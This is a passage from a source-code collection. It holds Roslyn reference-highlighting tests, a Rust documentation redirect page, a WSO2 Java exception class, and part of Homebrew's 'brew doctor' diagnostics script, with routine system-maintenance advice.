Language="C#" CommonReferences="true"> <Document> namespace X { using {|Definition:Q|} = System.IO; Class B { public void M() { $${|Reference:Q|}.Directory.Exists(""); } } } </Document> </Project> </Workspace> Await VerifyHighlightsAsync(input) End Function <WorkItem(543768, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/543768")> <WpfFact, Trait(Traits.Feature, Traits.Features.ReferenceHighlighting)> Public Async Function TestAlias2() As Task Dim input = <Workspace> <Project Language="C#" CommonReferences="true"> <Document> namespace X { using $${|Definition:Q|} = System.IO; Class B { public void M() { {|Reference:Q|}.Directory.Exists(""); } } } </Document> </Project> </Workspace> Await VerifyHighlightsAsync(input) End Function <WorkItem(543768, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/543768")> <WpfFact, Trait(Traits.Feature, Traits.Features.ReferenceHighlighting)> Public Async Function TestAlias3() As Task Dim input = <Workspace> <Project Language="C#" CommonReferences="true"> <Document> namespace X { using Q = System.$${|Reference:IO|}; Class B { public void M() { {|Reference:Q|}.Directory.Exists(""); } } } </Document> </Project> </Workspace> Await VerifyHighlightsAsync(input) End Function <WorkItem(552000, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/552000")> <WpfFact, Trait(Traits.Feature, Traits.Features.ReferenceHighlighting)> Public Async Function TestAlias4() As Task Dim input = <Workspace> <Project Language="C#" CommonReferences="true"> <Document><![CDATA[ using C = System.Action; namespace N { using $${|Definition:C|} = A<C>; // select C class A<T> { } class B : {|Reference:C|} { } }]]> </Document> </Project> </Workspace> Await VerifyHighlightsAsync(input) End Function <WorkItem(542830, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/542830")> <WpfFact, Trait(Traits.Feature, Traits.Features.ReferenceHighlighting)> Public Async Function TestHighlightThroughVar1() As Task Dim input = <Workspace> <Project Language="C#" CommonReferences="true"> <Document> class C { void F() { $${|Reference:var|} i = 1; {|Reference:int|} j = 0; double d; {|Reference:int|} k = 1; } } </Document> </Project> </Workspace> Await VerifyHighlightsAsync(input) End Function <WorkItem(542830, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/542830")> <WpfFact, Trait(Traits.Feature, Traits.Features.ReferenceHighlighting)> Public Async Function TestHighlightThroughVar2() As Task Dim input = <Workspace> <Project Language="C#" CommonReferences="true"> <Document> class C { void F() { {|Reference:var|} i = 1; $${|Reference:int|} j = 0; double d; {|Reference:int|} k = 1; } } </Document> </Project> </Workspace> Await VerifyHighlightsAsync(input) End Function <WorkItem(542830, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/542830")> <WpfFact, Trait(Traits.Feature, Traits.Features.ReferenceHighlighting)> Public Async Function TestHighlightThroughVar3() As Task Dim input = <Workspace> <Project Language="C#" CommonReferences="true"> <Document><![CDATA[ using System.Collections.Generic; class C { void F() { $${|Reference:var|} i = new {|Reference:List|}<string>(); int j = 0; double d; {|Reference:var|} k = new {|Reference:List|}<int>(); } } ]]></Document> </Project> </Workspace> Await VerifyHighlightsAsync(input) End Function <WorkItem(545648, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/545648")> <WpfFact, Trait(Traits.Feature, Traits.Features.ReferenceHighlighting)> Public Async Function TestUsingAliasAndTypeWithSameName1() As Task Dim input = <Workspace> <Project Language="C#" CommonReferences="true"> <Document> using {|Definition:$$X|} = System; class X { } </Document> </Project> </Workspace> Await VerifyHighlightsAsync(input) End Function <WorkItem(545648, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/545648")> <WpfFact, Trait(Traits.Feature, Traits.Features.ReferenceHighlighting)> Public Async Function TestUsingAliasAndTypeWithSameName2() As Task Dim input = <Workspace> <Project Language="C#" CommonReferences="true"> <Document> using X = System; class {|Definition:$$X|} { } </Document> </Project> </Workspace> Await VerifyHighlightsAsync(input) End Function <WorkItem(567959, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/567959")> <WpfFact, Trait(Traits.Feature, Traits.Features.ReferenceHighlighting)> Public Async Function TestAccessor1() As Task Dim input = <Workspace> <Project Language="C#" CommonReferences="true"> <Document> class C { string P { $$get { return P; } set { P = ""; } } } </Document> </Project> </Workspace> Await VerifyHighlightsAsync(input) End Function <WorkItem(567959, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/567959")> <WpfFact, Trait(Traits.Feature, Traits.Features.ReferenceHighlighting)> Public Async Function TestAccessor2() As Task Dim input = <Workspace> <Project Language="C#" CommonReferences="true"> <Document> class C { string P { get { return P; } $$set { P = ""; } } } </Document> </Project> </Workspace> Await VerifyHighlightsAsync(input) End Function <WorkItem(604466, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/604466")> <WpfFact(Skip:="604466"), Trait(Traits.Feature, Traits.Features.ReferenceHighlighting)> Public Async Function TestThisShouldNotHighlightTypeName() As Task Dim input = <Workspace> <Project Language="C#" CommonReferences="true"> <Document> class C { void M() { t$$his.M(); } } </Document> </Project> </Workspace> Await VerifyHighlightsAsync(input) End Function <WorkItem(531620, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/531620")> <WpfFact, Trait(Traits.Feature, Traits.Features.ReferenceHighlighting)> Public Async Function TestHighlightDynamicallyBoundMethod() As Task Dim input = <Workspace> <Project Language="C#" CommonReferences="true"> <Document> class A { class B { public void {|Definition:Boo|}(int d) { } //Line 1 public void Boo(dynamic d) { } //Line 2 public void Boo(string d) { } //Line 3 } void Aoo() { B b = new B(); dynamic d = 1.5f; b.{|Reference:Boo|}(1); //Line 4 b.$${|Reference:Boo|}(d); //Line 5 b.Boo("d"); //Line 6 } } </Document> </Project> </Workspace> Await VerifyHighlightsAsync(input) End Function <WorkItem(531624, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/531624")> <WpfFact, Trait(Traits.Feature, Traits.Features.ReferenceHighlighting)> Public Async Function TestHighlightParameterizedPropertyParameter() As Task Dim input = <Workspace> <Project Language="C#" CommonReferences="true"> <Document> class C { int this[int $${|Definition:i|}] { get { return this[{|Reference:i|}]; } } } </Document> </Project> </Workspace> Await VerifyHighlightsAsync(input) End Function <WpfFact, Trait(Traits.Feature, Traits.Features.ReferenceHighlighting)> Public Async Function TestInterpolatedString1() As Task Dim input = <Workspace> <Project Language="C#" CommonReferences="true"> <Document> class C { void M() { var $${|Definition:a|} = "Hello"; var b = "World"; var c = $"{ {|Reference:a|} }, {b}!"; } } </Document> </Project> </Workspace> Await VerifyHighlightsAsync(input) End Function <WpfFact, Trait(Traits.Feature, Traits.Features.ReferenceHighlighting)> Public Async Function TestInterpolatedString2() As Task Dim input = <Workspace> <Project Language="C#" CommonReferences="true"> <Document> class C { void M() { var a = "Hello"; var $${|Definition:b|} = "World"; var c = $"{a}, { {|Reference:b|} }!"; } } </Document> </Project> </Workspace> Await VerifyHighlightsAsync(input) End Function <WpfFact, Trait(Traits.Feature, Traits.Features.ReferenceHighlighting)> Public Async Function TestWrittenReference() As Task Dim input = <Workspace> <Project Language="C#" CommonReferences="true"> <Document> class C { void M() { var $${|Definition:b|} = "Hello"; {|WrittenReference:b|} = "World"; } } </Document> </Project> </Workspace> Await VerifyHighlightsAsync(input) End Function <WpfFact, Trait(Traits.Feature, Traits.Features.ReferenceHighlighting)> Public Async Function TestWrittenReference2() As Task Dim input = <Workspace> <Project Language="C#" CommonReferences="true"> <Document> class C { void M() { int {|Definition:$$y|}; int x = {|WrittenReference:y|} = 7; } } </Document> </Project> </Workspace> Await VerifyHighlightsAsync(input) End Function <WpfFact, Trait(Traits.Feature, Traits.Features.ReferenceHighlighting)> Public Async Function TestPatternMatchingType1() As Task Dim input = <Workspace> <Project Language="C#" CommonReferences="true"> <Document> class C { void M() { object o = null; if (o is C $${|Definition:c|}) { var d = {|Reference:c|}; } } } </Document> </Project> </Workspace> Await VerifyHighlightsAsync(input) End Function <WpfFact, Trait(Traits.Feature, Traits.Features.ReferenceHighlighting)> Public Async Function TestPatternMatchingType2() As Task Dim input = <Workspace> <Project Language="C#" CommonReferences="true"> <Document> class C { void M() { object o = null; if (o is C {|Definition:c|}) { var d = $${|Reference:c|}; } } } </Document> </Project> </Workspace> Await VerifyHighlightsAsync(input) End Function <WpfFact, Trait(Traits.Feature, Traits.Features.ReferenceHighlighting)> Public Async Function TestPatternMatchingTypeScoping1() As Task Dim input = <Workspace> <Project Language="C#" CommonReferences="true"> <Document> class Class1 { } class Class2 { } class C { void M() { object o = null; if (o is Class1 {|Definition:c|}) { var d = $${|Reference:c|}; } else if (o is Class2 c) { var d = c; } el } } </Document> </Project> </Workspace> Await VerifyHighlightsAsync(input) End Function <WpfFact, Trait(Traits.Feature, Traits.Features.ReferenceHighlighting)> Public Async Function TestPatternMatchingTypeScoping2() As Task Dim input = <Workspace> <Project Language="C#" CommonReferences="true"> <Document> class Class1 { } class Class2 { } class C { void M() { object o = null; if (o is Class1 c) { var d = c; } else if (o is Class2 {|Definition:c|}) { var d = $${|Reference:c|}; } el } } </Document> </Project> </Workspace> Await VerifyHighlightsAsync(input) End Function End Class End Namespace
apache-2.0
nitro-devs/nitro-game-engine
docs/libc/unix/notbsd/linux/other/glob64.v.html
297
<!DOCTYPE html> <html lang="en"> <head> <meta http-equiv="refresh" content="0;URL=fn.glob64.html"> </head> <body> <p>Redirecting to <a href="fn.glob64.html">fn.glob64.html</a>...</p> <script>location.replace("fn.glob64.html" + location.search + location.hash);</script> </body> </html>
apache-2.0
madhawa-gunasekara/carbon-commons
components/event/org.wso2.carbon.event.ws/src/main/java/org/wso2/carbon/event/ws/internal/builders/exceptions/InvalidExpirationTimeException.java
1026
/* * Copyright (c) 2005-2009, WSO2 Inc. (http://www.wso2.org) All Rights Reserved. * * WSO2 Inc. licenses this file to you under the Apache License, * Version 2.0 (the "License"); you may not use this file except * in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. * */ package org.wso2.carbon.event.ws.internal.builders.exceptions; public class InvalidExpirationTimeException extends Exception { public InvalidExpirationTimeException(String message) { super(message); } public InvalidExpirationTimeException(String message, Throwable cause) { super(message, cause); } }
apache-2.0
wolfd/homebrew
Library/Homebrew/cmd/doctor.rb
40730
require "cmd/missing" require "formula" require "keg" require "language/python" require "version" class Volumes def initialize @volumes = get_mounts end def which path vols = get_mounts path # no volume found if vols.empty? return -1 end vol_index = @volumes.index(vols[0]) # volume not found in volume list if vol_index.nil? return -1 end return vol_index end def get_mounts path=nil vols = [] # get the volume of path, if path is nil returns all volumes args = %w[/bin/df -P] args << path if path Utils.popen_read(*args) do |io| io.each_line do |line| case line.chomp # regex matches: /dev/disk0s2 489562928 440803616 48247312 91% / when /^.+\s+[0-9]+\s+[0-9]+\s+[0-9]+\s+[0-9]{1,3}%\s+(.+)/ vols << $1 end end end return vols end end class Checks ############# HELPERS # Finds files in HOMEBREW_PREFIX *and* /usr/local. # Specify paths relative to a prefix eg. "include/foo.h". # Sets @found for your convenience. def find_relative_paths *relative_paths @found = %W[#{HOMEBREW_PREFIX} /usr/local].uniq.inject([]) do |found, prefix| found + relative_paths.map{|f| File.join(prefix, f) }.select{|f| File.exist? f } end end def inject_file_list(list, str) list.inject(str) { |s, f| s << " #{f}\n" } end # Git will always be on PATH because of the wrapper script in # Library/ENV/scm, so we check if there is a *real* # git here to avoid multiple warnings. def git? return @git if instance_variable_defined?(:@git) @git = system "git --version >/dev/null 2>&1" end ############# END HELPERS # Sorry for the lack of an indent here, the diff would have been unreadable. # See https://github.com/Homebrew/homebrew/pull/9986 def check_path_for_trailing_slashes bad_paths = ENV['PATH'].split(File::PATH_SEPARATOR).select { |p| p[-1..-1] == '/' } return if bad_paths.empty? s = <<-EOS.undent Some directories in your path end in a slash. Directories in your path should not end in a slash. This can break other doctor checks. The following directories should be edited: EOS bad_paths.each{|p| s << " #{p}"} s end # Installing MacGPG2 interferes with Homebrew in a big way # https://github.com/GPGTools/MacGPG2 def check_for_macgpg2 return if File.exist? '/usr/local/MacGPG2/share/gnupg/VERSION' suspects = %w{ /Applications/start-gpg-agent.app /Library/Receipts/libiconv1.pkg /usr/local/MacGPG2 } if suspects.any? { |f| File.exist? f } then <<-EOS.undent You may have installed MacGPG2 via the package installer. Several other checks in this script will turn up problems, such as stray dylibs in /usr/local and permissions issues with share and man in /usr/local/. EOS end end def __check_stray_files(dir, pattern, white_list, message) return unless File.directory?(dir) files = Dir.chdir(dir) { Dir[pattern].select { |f| File.file?(f) && !File.symlink?(f) } - Dir.glob(white_list) }.map { |file| File.join(dir, file) } inject_file_list(files, message) unless files.empty? end def check_for_stray_dylibs # Dylibs which are generally OK should be added to this list, # with a short description of the software they come with. white_list = [ "libfuse.2.dylib", # MacFuse "libfuse_ino64.2.dylib", # MacFuse "libmacfuse_i32.2.dylib", # OSXFuse MacFuse compatibility layer "libmacfuse_i64.2.dylib", # OSXFuse MacFuse compatibility layer "libosxfuse_i32.2.dylib", # OSXFuse "libosxfuse_i64.2.dylib", # OSXFuse "libTrAPI.dylib", # TrAPI / Endpoint Security VPN "libntfs-3g.*.dylib", # NTFS-3G "libntfs.*.dylib", # NTFS-3G "libublio.*.dylib", # NTFS-3G ] __check_stray_files "/usr/local/lib", "*.dylib", white_list, <<-EOS.undent Unbrewed dylibs were found in /usr/local/lib. If you didn't put them there on purpose they could cause problems when building Homebrew formulae, and may need to be deleted. Unexpected dylibs: EOS end def check_for_stray_static_libs # Static libs which are generally OK should be added to this list, # with a short description of the software they come with. white_list = [ "libsecurity_agent_client.a", # OS X 10.8.2 Supplemental Update "libsecurity_agent_server.a", # OS X 10.8.2 Supplemental Update "libntfs-3g.a", # NTFS-3G "libntfs.a", # NTFS-3G "libublio.a", # NTFS-3G ] __check_stray_files "/usr/local/lib", "*.a", white_list, <<-EOS.undent Unbrewed static libraries were found in /usr/local/lib. If you didn't put them there on purpose they could cause problems when building Homebrew formulae, and may need to be deleted. Unexpected static libraries: EOS end def check_for_stray_pcs # Package-config files which are generally OK should be added to this list, # with a short description of the software they come with. white_list = [ "fuse.pc", # OSXFuse/MacFuse "macfuse.pc", # OSXFuse MacFuse compatibility layer "osxfuse.pc", # OSXFuse "libntfs-3g.pc", # NTFS-3G "libublio.pc",# NTFS-3G ] __check_stray_files "/usr/local/lib/pkgconfig", "*.pc", white_list, <<-EOS.undent Unbrewed .pc files were found in /usr/local/lib/pkgconfig. If you didn't put them there on purpose they could cause problems when building Homebrew formulae, and may need to be deleted. Unexpected .pc files: EOS end def check_for_stray_las white_list = [ "libfuse.la", # MacFuse "libfuse_ino64.la", # MacFuse "libosxfuse_i32.la", # OSXFuse "libosxfuse_i64.la", # OSXFuse "libntfs-3g.la", # NTFS-3G "libntfs.la", # NTFS-3G "libublio.la", # NTFS-3G ] __check_stray_files "/usr/local/lib", "*.la", white_list, <<-EOS.undent Unbrewed .la files were found in /usr/local/lib. If you didn't put them there on purpose they could cause problems when building Homebrew formulae, and may need to be deleted. Unexpected .la files: EOS end def check_for_stray_headers white_list = [ "fuse.h", # MacFuse "fuse/**/*.h", # MacFuse "macfuse/**/*.h", # OSXFuse MacFuse compatibility layer "osxfuse/**/*.h", # OSXFuse "ntfs/**/*.h", # NTFS-3G "ntfs-3g/**/*.h", # NTFS-3G ] __check_stray_files "/usr/local/include", "**/*.h", white_list, <<-EOS.undent Unbrewed header files were found in /usr/local/include. If you didn't put them there on purpose they could cause problems when building Homebrew formulae, and may need to be deleted. Unexpected header files: EOS end def check_for_other_package_managers ponk = MacOS.macports_or_fink unless ponk.empty? <<-EOS.undent You have MacPorts or Fink installed: #{ponk.join(", ")} This can cause trouble. You don't have to uninstall them, but you may want to temporarily move them out of the way, e.g. sudo mv /opt/local ~/macports EOS end end def check_for_broken_symlinks broken_symlinks = [] Keg::PRUNEABLE_DIRECTORIES.select(&:directory?).each do |d| d.find do |path| if path.symlink? && !path.resolved_path_exists? broken_symlinks << path end end end unless broken_symlinks.empty? then <<-EOS.undent Broken symlinks were found. Remove them with `brew prune`: #{broken_symlinks * "\n "} EOS end end def check_for_unsupported_osx if MacOS.version >= "10.11" then <<-EOS.undent You are using OS X #{MacOS.version}. We do not provide support for this pre-release version. You may encounter build failures or other breakage. EOS end end if MacOS.version >= "10.9" def check_for_installed_developer_tools unless MacOS::Xcode.installed? || MacOS::CLT.installed? then <<-EOS.undent No developer tools installed. Install the Command Line Tools: xcode-select --install EOS end end def check_xcode_up_to_date if MacOS::Xcode.installed? && MacOS::Xcode.outdated? <<-EOS.undent Your Xcode (#{MacOS::Xcode.version}) is outdated Please update to Xcode #{MacOS::Xcode.latest_version}. Xcode can be updated from the App Store. EOS end end def check_clt_up_to_date if MacOS::CLT.installed? && MacOS::CLT.outdated? then <<-EOS.undent A newer Command Line Tools release is available. Update them from Software Update in the App Store. EOS end end elsif MacOS.version == "10.8" || MacOS.version == "10.7" def check_for_installed_developer_tools unless MacOS::Xcode.installed? || MacOS::CLT.installed? then <<-EOS.undent No developer tools installed. You should install the Command Line Tools. The standalone package can be obtained from https://developer.apple.com/downloads or it can be installed via Xcode's preferences. EOS end end def check_xcode_up_to_date if MacOS::Xcode.installed? && MacOS::Xcode.outdated? then <<-EOS.undent Your Xcode (#{MacOS::Xcode.version}) is outdated Please update to Xcode #{MacOS::Xcode.latest_version}. Xcode can be updated from https://developer.apple.com/downloads EOS end end def check_clt_up_to_date if MacOS::CLT.installed? && MacOS::CLT.outdated? then <<-EOS.undent A newer Command Line Tools release is available. The standalone package can be obtained from https://developer.apple.com/downloads or it can be installed via Xcode's preferences. EOS end end else def check_for_installed_developer_tools unless MacOS::Xcode.installed? then <<-EOS.undent Xcode is not installed. Most formulae need Xcode to build. It can be installed from https://developer.apple.com/downloads EOS end end def check_xcode_up_to_date if MacOS::Xcode.installed? && MacOS::Xcode.outdated? then <<-EOS.undent Your Xcode (#{MacOS::Xcode.version}) is outdated Please update to Xcode #{MacOS::Xcode.latest_version}. Xcode can be updated from https://developer.apple.com/downloads EOS end end end def check_for_osx_gcc_installer if (MacOS.version < "10.7" || MacOS::Xcode.version > "4.1") && \ MacOS.clang_version == "2.1" message = <<-EOS.undent You seem to have osx-gcc-installer installed. Homebrew doesn't support osx-gcc-installer. It causes many builds to fail and is an unlicensed distribution of really old Xcode files. EOS if MacOS.version >= :mavericks message += <<-EOS.undent Please run `xcode-select --install` to install the CLT. EOS elsif MacOS.version >= :lion message += <<-EOS.undent Please install the CLT or Xcode #{MacOS::Xcode.latest_version}. EOS else message += <<-EOS.undent Please install Xcode #{MacOS::Xcode.latest_version}. EOS end end end def check_for_stray_developer_directory # if the uninstaller script isn't there, it's a good guess neither are # any troublesome leftover Xcode files uninstaller = Pathname.new("/Developer/Library/uninstall-developer-folder") if MacOS::Xcode.version >= "4.3" && uninstaller.exist? then <<-EOS.undent You have leftover files from an older version of Xcode. You should delete them using: #{uninstaller} EOS end end def check_for_bad_install_name_tool return if MacOS.version < "10.9" libs = Pathname.new("/usr/bin/install_name_tool").dynamically_linked_libraries # otool may not work, for example if the Xcode license hasn't been accepted yet return if libs.empty? unless libs.include? "/usr/lib/libxcselect.dylib" then <<-EOS.undent You have an outdated version of /usr/bin/install_name_tool installed. This will cause binary package installations to fail. This can happen if you install osx-gcc-installer or RailsInstaller. To restore it, you must reinstall OS X or restore the binary from the OS packages. EOS end end def __check_subdir_access base target = HOMEBREW_PREFIX+base return unless target.exist? cant_read = [] target.find do |d| next unless d.directory? cant_read << d unless d.writable_real? end cant_read.sort! if cant_read.length > 0 then s = <<-EOS.undent Some directories in #{target} aren't writable. This can happen if you "sudo make install" software that isn't managed by Homebrew. If a brew tries to add locale information to one of these directories, then the install will fail during the link step. You should probably `chown` them: EOS cant_read.each{ |f| s << " #{f}\n" } s end end def check_access_share_locale __check_subdir_access 'share/locale' end def check_access_share_man __check_subdir_access 'share/man' end def check_access_usr_local return unless HOMEBREW_PREFIX.to_s == '/usr/local' unless File.writable_real?("/usr/local") then <<-EOS.undent The /usr/local directory is not writable. Even if this directory was writable when you installed Homebrew, other software may change permissions on this directory. Some versions of the "InstantOn" component of Airfoil are known to do this. You should probably change the ownership and permissions of /usr/local back to your user account. EOS end end def check_tmpdir_sticky_bit world_writable = HOMEBREW_TEMP.stat.mode & 0777 == 0777 if world_writable && !HOMEBREW_TEMP.sticky? then <<-EOS.undent #{HOMEBREW_TEMP} is world-writable but does not have the sticky bit set. Please run "Repair Disk Permissions" in Disk Utility. EOS end end (Keg::TOP_LEVEL_DIRECTORIES + ["lib/pkgconfig"]).each do |d| define_method("check_access_#{d.sub("/", "_")}") do dir = HOMEBREW_PREFIX.join(d) if dir.exist? && !dir.writable_real? then <<-EOS.undent #{dir} isn't writable. This can happen if you "sudo make install" software that isn't managed by by Homebrew. If a formula tries to write a file to this directory, the install will fail during the link step. You should probably `chown` #{dir} EOS end end end def check_access_site_packages if Language::Python.homebrew_site_packages.exist? && !Language::Python.homebrew_site_packages.writable_real? <<-EOS.undent #{Language::Python.homebrew_site_packages} isn't writable. This can happen if you "sudo pip install" software that isn't managed by Homebrew. If you install a formula with Python modules, the install will fail during the link step. You should probably `chown` #{Language::Python.homebrew_site_packages} EOS end end def check_access_logs if HOMEBREW_LOGS.exist? and not HOMEBREW_LOGS.writable_real? <<-EOS.undent #{HOMEBREW_LOGS} isn't writable. Homebrew writes debugging logs to this location. You should probably `chown` #{HOMEBREW_LOGS} EOS end end def check_access_cache if HOMEBREW_CACHE.exist? && !HOMEBREW_CACHE.writable_real? <<-EOS.undent #{HOMEBREW_CACHE} isn't writable. This can happen if you run `brew install` or `brew fetch` as another user. Homebrew caches downloaded files to this location. You should probably `chown` #{HOMEBREW_CACHE} EOS end end def check_access_cellar if HOMEBREW_CELLAR.exist? && !HOMEBREW_CELLAR.writable_real? <<-EOS.undent #{HOMEBREW_CELLAR} isn't writable. You should `chown` #{HOMEBREW_CELLAR} EOS end end def check_access_prefix_opt opt = HOMEBREW_PREFIX.join("opt") if opt.exist? && !opt.writable_real? <<-EOS.undent #{opt} isn't writable. You should `chown` #{opt} EOS end end def check_ruby_version ruby_version = MacOS.version >= "10.9" ? "2.0" : "1.8" if RUBY_VERSION[/\d\.\d/] != ruby_version then <<-EOS.undent Ruby version #{RUBY_VERSION} is unsupported on #{MacOS.version}. Homebrew is developed and tested on Ruby #{ruby_version}, and may not work correctly on other Rubies. Patches are accepted as long as they don't cause breakage on supported Rubies. EOS end end def check_homebrew_prefix unless HOMEBREW_PREFIX.to_s == '/usr/local' <<-EOS.undent Your Homebrew is not installed to /usr/local You can install Homebrew anywhere you want, but some brews may only build correctly if you install in /usr/local. Sorry! EOS end end def check_xcode_prefix prefix = MacOS::Xcode.prefix return if prefix.nil? if prefix.to_s.match(' ') <<-EOS.undent Xcode is installed to a directory with a space in the name. This will cause some formulae to fail to build. EOS end end def check_xcode_prefix_exists prefix = MacOS::Xcode.prefix return if prefix.nil? unless prefix.exist? <<-EOS.undent The directory Xcode is reportedly installed to doesn't exist: #{prefix} You may need to `xcode-select` the proper path if you have moved Xcode. EOS end end def check_xcode_select_path if not MacOS::CLT.installed? and not File.file? "#{MacOS.active_developer_dir}/usr/bin/xcodebuild" path = MacOS::Xcode.bundle_path path = '/Developer' if path.nil? or not path.directory? <<-EOS.undent Your Xcode is configured with an invalid path. You should change it to the correct path: sudo xcode-select -switch #{path} EOS end end def check_user_path_1 $seen_prefix_bin = false $seen_prefix_sbin = false out = nil paths.each do |p| case p when '/usr/bin' unless $seen_prefix_bin # only show the doctor message if there are any conflicts # rationale: a default install should not trigger any brew doctor messages conflicts = Dir["#{HOMEBREW_PREFIX}/bin/*"]. map{ |fn| File.basename fn }. select{ |bn| File.exist? "/usr/bin/#{bn}" } if conflicts.size > 0 out = <<-EOS.undent /usr/bin occurs before #{HOMEBREW_PREFIX}/bin This means that system-provided programs will be used instead of those provided by Homebrew. The following tools exist at both paths: #{conflicts * "\n "} Consider setting your PATH so that #{HOMEBREW_PREFIX}/bin occurs before /usr/bin. Here is a one-liner: echo 'export PATH="#{HOMEBREW_PREFIX}/bin:$PATH"' >> #{shell_profile} EOS end end when "#{HOMEBREW_PREFIX}/bin" $seen_prefix_bin = true when "#{HOMEBREW_PREFIX}/sbin" $seen_prefix_sbin = true end end out end def check_user_path_2 unless $seen_prefix_bin <<-EOS.undent Homebrew's bin was not found in your PATH. Consider setting the PATH for example like so echo 'export PATH="#{HOMEBREW_PREFIX}/bin:$PATH"' >> #{shell_profile} EOS end end def check_user_path_3 # Don't complain about sbin not being in the path if it doesn't exist sbin = (HOMEBREW_PREFIX+'sbin') if sbin.directory? and sbin.children.length > 0 unless $seen_prefix_sbin <<-EOS.undent Homebrew's sbin was not found in your PATH but you have installed formulae that put executables in #{HOMEBREW_PREFIX}/sbin. Consider setting the PATH for example like so echo 'export PATH="#{HOMEBREW_PREFIX}/sbin:$PATH"' >> #{shell_profile} EOS end end end def check_user_curlrc if %w[CURL_HOME HOME].any?{|key| ENV[key] and File.exist? "#{ENV[key]}/.curlrc" } then <<-EOS.undent You have a curlrc file If you have trouble downloading packages with Homebrew, then maybe this is the problem? If the following command doesn't work, then try removing your curlrc: curl http://github.com EOS end end def check_which_pkg_config binary = which 'pkg-config' return if binary.nil? mono_config = Pathname.new("/usr/bin/pkg-config") if mono_config.exist? && mono_config.realpath.to_s.include?("Mono.framework") then <<-EOS.undent You have a non-Homebrew 'pkg-config' in your PATH: /usr/bin/pkg-config => #{mono_config.realpath} This was most likely created by the Mono installer. `./configure` may have problems finding brew-installed packages using this other pkg-config. Mono no longer installs this file as of 3.0.4. You should `sudo rm /usr/bin/pkg-config` and upgrade to the latest version of Mono. EOS elsif binary.to_s != "#{HOMEBREW_PREFIX}/bin/pkg-config" then <<-EOS.undent You have a non-Homebrew 'pkg-config' in your PATH: #{binary} `./configure` may have problems finding brew-installed packages using this other pkg-config. EOS end end def check_for_gettext find_relative_paths("lib/libgettextlib.dylib", "lib/libintl.dylib", "include/libintl.h") return if @found.empty? # Our gettext formula will be caught by check_linked_keg_only_brews f = Formulary.factory("gettext") rescue nil return if f and f.linked_keg.directory? and @found.all? do |path| Pathname.new(path).realpath.to_s.start_with? "#{HOMEBREW_CELLAR}/gettext" end s = <<-EOS.undent_________________________________________________________72 gettext files detected at a system prefix These files can cause compilation and link failures, especially if they are compiled with improper architectures. Consider removing these files: EOS inject_file_list(@found, s) end def check_for_iconv unless find_relative_paths("lib/libiconv.dylib", "include/iconv.h").empty? if (f = Formulary.factory("libiconv") rescue nil) and f.linked_keg.directory? if not f.keg_only? then <<-EOS.undent A libiconv formula is installed and linked This will break stuff. For serious. Unlink it. EOS else # NOOP because: check_for_linked_keg_only_brews end else s = <<-EOS.undent_________________________________________________________72 libiconv files detected at a system prefix other than /usr Homebrew doesn't provide a libiconv formula, and expects to link against the system version in /usr. libiconv in other prefixes can cause compile or link failure, especially if compiled with improper architectures. OS X itself never installs anything to /usr/local so it was either installed by a user or some other third party software. tl;dr: delete these files: EOS inject_file_list(@found, s) end end end def check_for_config_scripts return unless HOMEBREW_CELLAR.exist? real_cellar = HOMEBREW_CELLAR.realpath scripts = [] whitelist = %W[ /usr/bin /usr/sbin /usr/X11/bin /usr/X11R6/bin /opt/X11/bin #{HOMEBREW_PREFIX}/bin #{HOMEBREW_PREFIX}/sbin /Applications/Server.app/Contents/ServerRoot/usr/bin /Applications/Server.app/Contents/ServerRoot/usr/sbin ].map(&:downcase) paths.each do |p| next if whitelist.include?(p.downcase) || !File.directory?(p) realpath = Pathname.new(p).realpath.to_s next if realpath.start_with?(real_cellar.to_s, HOMEBREW_CELLAR.to_s) scripts += Dir.chdir(p) { Dir["*-config"] }.map { |c| File.join(p, c) } end unless scripts.empty? s = <<-EOS.undent "config" scripts exist outside your system or Homebrew directories. `./configure` scripts often look for *-config scripts to determine if software packages are installed, and what additional flags to use when compiling and linking. Having additional scripts in your path can confuse software installed via Homebrew if the config script overrides a system or Homebrew provided script of the same name. We found the following "config" scripts: EOS s << scripts.map { |f| " #{f}" }.join("\n") end end def check_DYLD_vars found = ENV.keys.grep(/^DYLD_/) unless found.empty? s = <<-EOS.undent Setting DYLD_* vars can break dynamic linking. Set variables: EOS s << found.map { |e| " #{e}: #{ENV.fetch(e)}\n" }.join if found.include? 'DYLD_INSERT_LIBRARIES' s += <<-EOS.undent Setting DYLD_INSERT_LIBRARIES can cause Go builds to fail. Having this set is common if you use this software: http://asepsis.binaryage.com/ EOS end s end end def check_for_symlinked_cellar return unless HOMEBREW_CELLAR.exist? if HOMEBREW_CELLAR.symlink? <<-EOS.undent Symlinked Cellars can cause problems. Your Homebrew Cellar is a symlink: #{HOMEBREW_CELLAR} which resolves to: #{HOMEBREW_CELLAR.realpath} The recommended Homebrew installations are either: (A) Have Cellar be a real directory inside of your HOMEBREW_PREFIX (B) Symlink "bin/brew" into your prefix, but don't symlink "Cellar". Older installations of Homebrew may have created a symlinked Cellar, but this can cause problems when two formula install to locations that are mapped on top of each other during the linking step. EOS end end def check_for_multiple_volumes return unless HOMEBREW_CELLAR.exist? volumes = Volumes.new # Find the volumes for the TMP folder & HOMEBREW_CELLAR real_cellar = HOMEBREW_CELLAR.realpath tmp = Pathname.new(Dir.mktmpdir("doctor", HOMEBREW_TEMP)) real_temp = tmp.realpath.parent where_cellar = volumes.which real_cellar where_temp = volumes.which real_temp Dir.delete tmp unless where_cellar == where_temp then <<-EOS.undent Your Cellar and TEMP directories are on different volumes. OS X won't move relative symlinks across volumes unless the target file already exists. Brews known to be 